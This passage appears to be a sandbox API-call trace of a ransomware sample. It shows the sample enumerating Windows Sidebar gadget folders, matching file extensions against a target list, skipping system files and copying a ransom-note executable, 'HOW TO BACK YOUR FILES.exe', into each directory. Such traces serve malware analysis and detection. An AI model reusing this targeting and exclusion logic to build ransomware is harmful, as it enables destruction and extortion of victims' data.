	[0062.005] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0062.006] lstrlenW (lpString="accdb") returned 5
	[0062.006] lstrcmpiW (lpString1="ck.js", lpString2="accdb") returned 1
	[0062.006] lstrlenW (lpString="accdc") returned 5
	[0062.006] lstrcmpiW (lpString1="ck.js", lpString2="accdc") returned 1
	[0062.006] lstrlenW (lpString="accde") returned 5
	[0062.006] lstrcmpiW (lpString1="ck.js", lpString2="accde") returned 1
	[0062.006] lstrlenW (lpString="accdr") returned 5
	[0062.006] lstrcmpiW (lpString1="ck.js", lpString2="accdr") returned 1
	[0062.006] lstrlenW (lpString="accdt") returned 5
	[0062.006] lstrcmpiW (lpString1="ck.js", lpString2="accdt") returned 1
	[0062.006] lstrlenW (lpString="accdw") returned 5
	[0062.006] lstrcmpiW (lpString1="ck.js", lpString2="accdw") returned 1
	[0062.006] lstrlenW (lpString="accft") returned 5
	[0062.006] lstrcmpiW (lpString1="ck.js", lpString2="accft") returned 1
	[0062.006] lstrlenW (lpString="adb") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0062.006] lstrlenW (lpString="adb") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0062.006] lstrlenW (lpString="ade") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0062.006] lstrlenW (lpString="adf") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0062.006] lstrlenW (lpString="adn") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0062.006] lstrlenW (lpString="adp") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0062.006] lstrlenW (lpString="alf") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0062.006] lstrlenW (lpString="ask") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0062.006] lstrlenW (lpString="btr") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0062.006] lstrlenW (lpString="cat") returned 3
	[0062.006] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0062.006] lstrlenW (lpString="cdb") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0062.007] lstrlenW (lpString="ckp") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0062.007] lstrlenW (lpString="cma") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0062.007] lstrlenW (lpString="cpd") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0062.007] lstrlenW (lpString="dacpac") returned 6
	[0062.007] lstrcmpiW (lpString1="ock.js", lpString2="dacpac") returned 1
	[0062.007] lstrlenW (lpString="dad") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0062.007] lstrlenW (lpString="dadiagrams") returned 10
	[0062.007] lstrlenW (lpString="daschema") returned 8
	[0062.007] lstrlenW (lpString="db-journal") returned 10
	[0062.007] lstrlenW (lpString="db-shm") returned 6
	[0062.007] lstrcmpiW (lpString1="ock.js", lpString2="db-shm") returned 1
	[0062.007] lstrlenW (lpString="db-wal") returned 6
	[0062.007] lstrcmpiW (lpString1="ock.js", lpString2="db-wal") returned 1
	[0062.007] lstrlenW (lpString="dbc") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0062.007] lstrlenW (lpString="dbs") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0062.007] lstrlenW (lpString="dbt") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0062.007] lstrlenW (lpString="dbv") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0062.007] lstrlenW (lpString="dbx") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0062.007] lstrlenW (lpString="dcb") returned 3
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0062.007] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0062.008] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0062.008] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0062.008] lstrcmpiW (lpString1="k.js", lpString2="dlis") returned 1
	[0062.008] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="settings.js" | out: lpString1="settings.js") returned="settings.js"
	[0062.008] lstrlenW (lpString="settings.js") returned 11
	[0062.008] lstrlenW (lpString="Apollon865") returned 10
	[0062.008] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0062.008] lstrlenW (lpString=".dll") returned 4
	[0062.008] lstrcmpiW (lpString1="settings.js", lpString2=".dll") returned 1
	[0062.008] lstrlenW (lpString=".lnk") returned 4
	[0062.008] lstrcmpiW (lpString1="settings.js", lpString2=".lnk") returned 1
	[0062.008] lstrlenW (lpString=".ini") returned 4
	[0062.008] lstrcmpiW (lpString1="settings.js", lpString2=".ini") returned 1
	[0062.008] lstrlenW (lpString=".sys") returned 4
	[0062.008] lstrcmpiW (lpString1="settings.js", lpString2=".sys") returned 1
	[0062.008] lstrlenW (lpString="settings.js") returned 11
	[0062.008] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="timeZones.js" | out: lpString1="timeZones.js") returned="timeZones.js"
	[0062.008] lstrlenW (lpString="timeZones.js") returned 12
	[0062.008] lstrlenW (lpString="Apollon865") returned 10
	[0062.008] lstrcmpiW (lpString1="meZones.js", lpString2="Apollon865") returned 1
	[0062.008] lstrlenW (lpString=".dll") returned 4
	[0062.008] lstrcmpiW (lpString1="timeZones.js", lpString2=".dll") returned 1
	[0062.008] lstrlenW (lpString=".lnk") returned 4
	[0062.008] lstrcmpiW (lpString1="timeZones.js", lpString2=".lnk") returned 1
	[0062.008] lstrlenW (lpString=".ini") returned 4
	[0062.008] lstrcmpiW (lpString1="timeZones.js", lpString2=".ini") returned 1
	[0062.008] lstrlenW (lpString=".sys") returned 4
	[0062.009] lstrcmpiW (lpString1="timeZones.js", lpString2=".sys") returned 1
	[0062.009] lstrlenW (lpString="timeZones.js") returned 12
	[0062.009] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css"
	[0062.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0062.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0062.009] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css") returned 63
	[0062.009] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css"
	[0062.009] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.009] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.016] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d078c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d078c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.017] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.017] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.017] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.017] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d078c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d078c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.017] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.017] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.017] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.017] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.017] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="Apollon865.txt.exe") returned 1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2=".") returned 1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="..") returned 1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="windows") returned -1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="bootmgr") returned 1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="temp") returned -1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="pagefile.sys") returned -1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="boot") returned 1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="ids.txt") returned -1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="ntuser.dat") returned -1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="perflogs") returned -1
	[0062.017] lstrcmpiW (lpString1="clock.css", lpString2="MSBuild") returned -1
	[0062.017] lstrlenW (lpString="clock.css") returned 9
	[0062.017] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*") returned 65
	[0062.017] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="clock.css" | out: lpString1="clock.css") returned="clock.css"
	[0062.017] lstrlenW (lpString="clock.css") returned 9
	[0062.017] lstrlenW (lpString="Apollon865") returned 10
	[0062.018] lstrlenW (lpString=".dll") returned 4
	[0062.018] lstrcmpiW (lpString1="clock.css", lpString2=".dll") returned 1
	[0062.018] lstrlenW (lpString=".lnk") returned 4
	[0062.018] lstrcmpiW (lpString1="clock.css", lpString2=".lnk") returned 1
	[0062.018] lstrlenW (lpString=".ini") returned 4
	[0062.018] lstrcmpiW (lpString1="clock.css", lpString2=".ini") returned 1
	[0062.018] lstrlenW (lpString=".sys") returned 4
	[0062.018] lstrcmpiW (lpString1="clock.css", lpString2=".sys") returned 1
	[0062.018] lstrlenW (lpString="clock.css") returned 9
	[0062.018] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0062.018] lstrlenW (lpString="settings.css") returned 12
	[0062.018] lstrlenW (lpString="Apollon865") returned 10
	[0062.018] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0062.018] lstrlenW (lpString=".dll") returned 4
	[0062.018] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0062.018] lstrlenW (lpString=".lnk") returned 4
	[0062.018] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0062.018] lstrlenW (lpString=".ini") returned 4
	[0062.018] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0062.018] lstrlenW (lpString=".sys") returned 4
	[0062.018] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
	[0062.018] lstrlenW (lpString="settings.css") returned 12
	[0062.018] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget"
	[0062.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0062.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0062.018] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned 56
	[0062.018] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget"
	[0062.018] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.019] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.024] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d09ed90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d09ed90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.024] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.024] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.024] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.024] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d09ed90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d09ed90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.024] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.024] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.024] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.024] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.024] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0062.025] lstrlenW (lpString="drag.png") returned 8
	[0062.025] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*") returned 58
	[0062.025] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0062.025] lstrlenW (lpString="drag.png") returned 8
	[0062.025] lstrlenW (lpString="Apollon865") returned 10
	[0062.025] lstrlenW (lpString=".dll") returned 4
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0062.025] lstrlenW (lpString=".lnk") returned 4
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0062.025] lstrlenW (lpString=".ini") returned 4
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0062.025] lstrlenW (lpString=".sys") returned 4
	[0062.025] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0062.025] lstrlenW (lpString="drag.png") returned 8
	[0062.025] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0062.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0062.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf788
	[0062.026] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0062.026] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d09ed90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d09ed90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.026] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.026] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0062.026] lstrlenW (lpString="icon.png") returned 8
	[0062.026] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned 62
	[0062.026] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0062.026] lstrlenW (lpString="icon.png") returned 8
	[0062.026] lstrlenW (lpString="Apollon865") returned 10
	[0062.026] lstrlenW (lpString=".dll") returned 4
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0062.026] lstrlenW (lpString=".lnk") returned 4
	[0062.026] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0062.026] lstrlenW (lpString=".ini") returned 4
	[0062.027] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0062.027] lstrlenW (lpString=".sys") returned 4
	[0062.027] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0062.027] lstrlenW (lpString="icon.png") returned 8
	[0062.027] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="images" | out: lpString1="images") returned="images"
	[0062.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0062.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf4e0
	[0062.027] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0062.027] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0062.027] lstrlenW (lpString="logo.png") returned 8
	[0062.027] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned 63
	[0062.027] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0062.027] lstrlenW (lpString="logo.png") returned 8
	[0062.027] lstrlenW (lpString="Apollon865") returned 10
	[0062.027] lstrlenW (lpString=".dll") returned 4
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0062.027] lstrlenW (lpString=".lnk") returned 4
	[0062.027] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0062.027] lstrlenW (lpString=".ini") returned 4
	[0062.028] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0062.028] lstrlenW (lpString=".sys") returned 4
	[0062.028] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0062.028] lstrlenW (lpString="logo.png") returned 8
	[0062.028] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images"
	[0062.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0062.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0062.028] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned 63
	[0062.028] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images"
	[0062.028] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.028] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.034] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
